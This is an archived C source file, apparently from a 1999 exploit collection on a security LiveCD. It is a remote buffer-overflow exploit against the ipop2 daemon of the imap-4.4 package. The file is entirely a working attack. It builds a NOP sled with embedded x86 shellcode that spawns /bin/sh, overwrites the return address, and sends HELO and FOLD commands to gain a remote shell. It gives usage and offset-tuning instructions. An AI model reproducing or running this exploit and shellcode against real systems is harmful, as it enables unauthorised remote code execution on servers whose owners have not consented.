home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop2 / subipopd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  68 lines

  1. /*
  2.  * subipop2d.c (c) 1999 Subterrain Security
  3.  *
  4.  * Written by bind - June 18, 1999
  5.  *
  6.  * Vulnerable: ipop2 daemons shipped with the imap-4.4 package
  7.  * Compromise: remote users can spawn a shell as user "nobody
  8.  *
  9.  * Greets: vacuum, xdr & cripto...
  10.  *
  11.  * Usage: 
  12.  *  ./subipop2 <auth> <user> <pass> [offset] [alignment] [timeout]
  13.  *
  14.  * Try offsets -500...500, alignment option should be between 0 and 3
  15.  *
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21.  
  22. #define RET 0xbffff718
  23. #define NOP 0x90
  24. #define WAIT 20
  25.  
  26. char shellcode[] = /* shellcode "borrowed" from plaguez's imapx.c */
  27.   "\xeb\x38\x5e\x89\xf3\x89\xd8\x80\x46\x01\x20\x80\x46\x02\x20\x80"
  28.   "\x46\x03\x20\x80\x46\x05\x20\x80\x46\x06\x20\x89\xf7\x83\xc7\x07"
  29.   "\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  30.   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc3\xff\xff\xff\x2f"
  31.   "\x42\x49\x4e\x2f\x53\x48\x00";
  32.  
  33. int main (int argc, char **argv)
  34. {
  35.   char buf[1002], *auth, *user, *pass;
  36.   int i, offset = 0, align = 0, timeout = WAIT;
  37.   unsigned long addr;
  38.  
  39.   if (argc < 4)
  40.     {
  41.       printf ("usage: %s <auth> <user> <password> [offset] [alignment]"
  42.               " [timeout]\n",
  43.               argv[0]);
  44.       exit (1);
  45.     }
  46.  
  47.   auth = argv[1];
  48.   user = argv[2];
  49.   pass = argv[3];
  50.  
  51.   if (argc > 4) offset = atoi (argv[4]);
  52.   if (argc > 5) align = atoi (argv[5]);
  53.   if (argc > 6) timeout = atoi (argv[6]);
  54.  
  55.   addr = RET - offset;
  56.  
  57.   memset (buf, NOP, 1002);
  58.   memcpy (buf + 500, shellcode, strlen (shellcode));
  59.  
  60.   for (i = (strlen (shellcode) + (600 + align)); i <= 1002; i += 4)
  61.     *(long *) &buf[i] = addr;
  62.  
  63.   sleep (2);
  64.   printf ("HELO %s:%s %s\n", auth, user, pass);
  65.   sleep (timeout);
  66.   printf ("FOLD %s\n", buf);
  67. }
  68. /*                    www.hack.co.za              [2000]*/